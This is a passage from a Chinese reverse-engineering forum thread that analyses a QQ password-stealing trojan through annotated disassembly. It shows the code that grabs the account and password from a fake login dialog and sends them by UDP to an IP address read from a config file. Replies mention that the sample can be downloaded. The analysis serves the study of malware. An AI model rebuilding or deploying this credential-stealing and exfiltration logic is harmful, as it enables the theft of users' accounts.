.text:00401534 FF D7                                   call    edi ; GetWindowTextA ; 获取账号
.text:00401536 8B 15 50 D4 40 00                       mov     edx, dword_40D450
.text:0040153C 8B 42 1C                                mov     eax, [edx+1Ch]
.text:0040153F 6A 14                                   push    14h             ; nMaxCount
.text:00401541 8D 73 14                                lea     esi, [ebx+14h]
.text:00401544 56                                      push    esi             ; lpString
.text:00401545 50                                      push    eax             ; hWnd
.text:00401546 FF D7                                   call    edi ; GetWindowTextA ; 获取密码
.text:00401548 8B 3D 50 D4 40 00                       mov     edi, dword_40D450
.text:0040154E 8B 4F 28                                mov     ecx, [edi+28h]  ; 这里得到的是200文件中的第一个字符串
.text:00401551 8D 53 28                                lea     edx, [ebx+28h]
.text:00401554
.text:00401554                         loc_401554:                             ; CODE XREF: sub_401460+100j
.text:00401554 8A 01                                   mov     al, [ecx]       ; 这个循环则是200的第一个字符串和QQ张号密码放到一起
.text:00401556 88 02                                   mov     [edx], al
.text:00401558 83 C1 01                                add     ecx, 1
.text:0040155B 83 C2 01                                add     edx, 1
.text:0040155E 84 C0                                   test    al, al
.text:00401560 75 F2                                   jnz     short loc_401554 ; 这个循环则是200的第一个字符串和QQ张号密码放到一起
.text:00401562 8B C3                                   mov     eax, ebx
.text:00401564 8D 50 01                                lea     edx, [eax+1]
.text:00401567
.text:00401567                         loc_401567:                             ; CODE XREF: sub_401460+10Ej
.text:00401567 8A 08                                   mov     cl, [eax]
.text:00401569 83 C0 01                                add     eax, 1
.text:0040156C 84 C9                                   test    cl, cl
.text:0040156E 75 F7                                   jnz     short loc_401567
.text:00401570 2B C2                                   sub     eax, edx        ; 计算账号大小
.text:00401572 83 F8 04                                cmp     eax, 4          ; 检测账号长度
.text:00401575 76 78                                   jbe     short loc_4015EF
.text:00401577 8B C3                                   mov     eax, ebx
.text:00401579 8D 50 01                                lea     edx, [eax+1]
.text:0040157C 8D 64 24 00                             lea     esp, [esp+0]
.text:00401580
.text:00401580                         loc_401580:                             ; CODE XREF: sub_401460+127j
.text:00401580 8A 08                                   mov     cl, [eax]
.text:00401582 83 C0 01                                add     eax, 1
.text:00401585 84 C9                                   test    cl, cl
.text:00401587 75 F7                                   jnz     short loc_401580
.text:00401589 2B C2                                   sub     eax, edx        ; 计算账号大小
.text:0040158B 83 F8 14                                cmp     eax, 14h        ; 检测账号长度
.text:0040158E 73 5F                                   jnb     short loc_4015EF
.text:00401590 8B C6                                   mov     eax, esi
.text:00401592 8D 50 01                                lea     edx, [eax+1]
.text:00401595
.text:00401595                         loc_401595:                             ; CODE XREF: sub_401460+13Cj
.text:00401595 8A 08                                   mov     cl, [eax]
.text:00401597 83 C0 01                                add     eax, 1
.text:0040159A 84 C9                                   test    cl, cl
.text:0040159C 75 F7                                   jnz     short loc_401595
.text:0040159E 2B C2                                   sub     eax, edx        ; 计算密码大小
.text:004015A0 83 F8 04                                cmp     eax, 4          ; 检测密码长度
.text:004015A3 76 4A                                   jbe     short loc_4015EF
.text:004015A5 8B C6                                   mov     eax, esi
.text:004015A7 8D 50 01                                lea     edx, [eax+1]
.text:004015AA 8D 9B 00 00 00 00                       lea     ebx, [ebx+0]
.text:004015B0
.text:004015B0                         loc_4015B0:                             ; CODE XREF: sub_401460+157j
.text:004015B0 8A 08                                   mov     cl, [eax]
.text:004015B2 83 C0 01                                add     eax, 1
.text:004015B5 84 C9                                   test    cl, cl
.text:004015B7 75 F7                                   jnz     short loc_4015B0
.text:004015B9 2B C2                                   sub     eax, edx        ; 计算密码大小
.text:004015BB 83 F8 14                                cmp     eax, 14h        ; 检测密码长度
.text:004015BE 73 2F                                   jnb     short loc_4015EF
.text:004015C0 8B 7F 24                                mov     edi, [edi+24h]    ;把目标ip存入edi中
.text:004015C3 E8 38 FA FF FF                          call    sub_401000      ; 调用socket




     上面这段代码先是获取QQ账号和密码,然后对账号密码的长度做一下检测,然后就调用 call    sub_401000函数,这个函数里调用的就是socket的那套函数,我们进去看看:
[Asm] 纯文本查看 复制代码
.text:00401000
.text:00401000 81 EC B0 01 00 00                       sub     esp, 1B0h
.text:00401006 A1 18 60 40 00                          mov     eax, ___security_cookie
.text:0040100B 33 C4                                   xor     eax, esp
.text:0040100D 89 84 24 A8 01 00 00                    mov     [esp+1B0h+var_8], eax
.text:00401014 56                                      push    esi
.text:00401015 8D 44 24 18                             lea     eax, [esp+1B4h+WSAData]
.text:00401019 50                                      push    eax             ; lpWSAData
.text:0040101A 68 02 02 00 00                          push    202h            ; wVersionRequested
.text:0040101F E8 86 1F 00 00                          call    WSAStartup
.text:00401024 85 C0                                   test    eax, eax
.text:00401026 75 7C                                   jnz     short loc_4010A4
.text:00401028 66 8B 44 24 18                          mov     ax, [esp+1B4h+WSAData.wVersion]
.text:0040102D 3C 02                                   cmp     al, 2
.text:0040102F 75 6E                                   jnz     short loc_40109F
.text:00401031 3A E0                                   cmp     ah, al
.text:00401033 75 6A                                   jnz     short loc_40109F
.text:00401035 6A 00                                   push    0               ; protocol
.text:00401037 6A 02                                   push    2               ; type
.text:00401039 6A 02                                   push    2               ; af
.text:0040103B E8 76 1F 00 00                          call    socket
.text:00401040 57                                      push    edi             ; cp
.text:00401041 8B F0                                   mov     esi, eax
.text:00401043 E8 74 1F 00 00                          call    inet_addr
.text:00401048 68 E6 69 00 00                          push    69E6h           ; hostshort
.text:0040104D 89 44 24 10                             mov     dword ptr [esp+1B8h+to.sa_data+2], eax
.text:00401051 66 C7 44 24 0C 02 00                    mov     [esp+1B8h+to.sa_family], 2
.text:00401058 E8 65 1F 00 00                          call    htons
.text:0040105D 6A 10                                   push    10h             ; tolen
.text:0040105F 8D 4C 24 0C                             lea     ecx, [esp+1B8h+to]
.text:00401063 51                                      push    ecx             ; to
.text:00401064 6A 00                                   push    0               ; flags
.text:00401066 6A 51                                   push    51h             ; len
.text:00401068 53                                      push    ebx             ; buf  
.text:00401069 56                                      push    esi             ; s
.text:0040106A 66 89 44 24 22                          mov     word ptr [esp+1CCh+to.sa_data], ax
.text:0040106F E8 54 1F 00 00                          call    sendto
.text:00401074 83 F8 FF                                cmp     eax, 0FFFFFFFFh
.text:00401077 74 2B                                   jz      short loc_4010A4
.text:00401079 56                                      push    esi             ; s
.text:0040107A E8 4F 1F 00 00                          call    closesocket
.text:0040107F E8 2C 1F 00 00                          call    WSACleanup
.text:00401084 B8 01 00 00 00                          mov     eax, 1
.text:00401089 5E                                      pop     esi
.text:0040108A 8B 8C 24 A8 01 00 00                    mov     ecx, [esp+1B0h+var_8]
.text:00401091 33 CC                                   xor     ecx, esp
.text:00401093 E8 3C 1F 00 00                          call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:00401098 81 C4 B0 01 00 00                       add     esp, 1B0h
.text:0040109E C3                                      retn




     这里很显然就是把前面获取到的账号密码发送出去。
    分析到这里,我们基本上搞明白这个木马的盗号原理,虽然代码看着有点多,但是真正有用的不多。这么木马的原理也很简单,就是查询当前活动窗口,看有没有QQ在运行,有的话就获取QQ号,然后弹出一个提示对话框,误导用户,当用户往弹出的对话框中输入密码然后点击“登陆”时,木马就会把账号密码发送出去,从而达到盗号的目的。

免费评分

参与人数 2热心值 +2 收起 理由
YsGer + 1 f4ck的大牛 你同步发送的啊
神枪泡泡丶 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Me臭小 发表于 2014-6-8 11:04 来自手机
被盗号码发送过去?是直接发送还是
bearinghrb 发表于 2014-6-7 12:58
流水爱 发表于 2014-6-3 10:32
蜂窝煤 发表于 2014-4-13 13:29
不明觉厉
冰楓丶殘瀷 发表于 2014-4-13 13:31
好多啊。。。。。
Exo 发表于 2014-4-13 13:33
必须顶!
头像被屏蔽
刘宏伟大人丶 发表于 2014-4-13 13:33
让我先膜拜一下大神
qfhy123 发表于 2014-4-13 13:38
膜拜会分析木马的大牛
durui0721 发表于 2014-4-13 14:03 来自手机
不明觉厉
木讷的木头 发表于 2014-4-13 14:33
原文件发上来,研究研究
JoyChou 发表于 2014-4-13 18:46
最好先说下样本的一个流程。还有一些功能如果能还原可以试着还原,比如获取qq号之类的。
 楼主| 冰琥珀 发表于 2014-4-13 23:45
木讷的木头 发表于 2014-4-13 14:33
原文件发上来,研究研究

帖子开头的第二个链接有供下载的附件
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 07:44

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表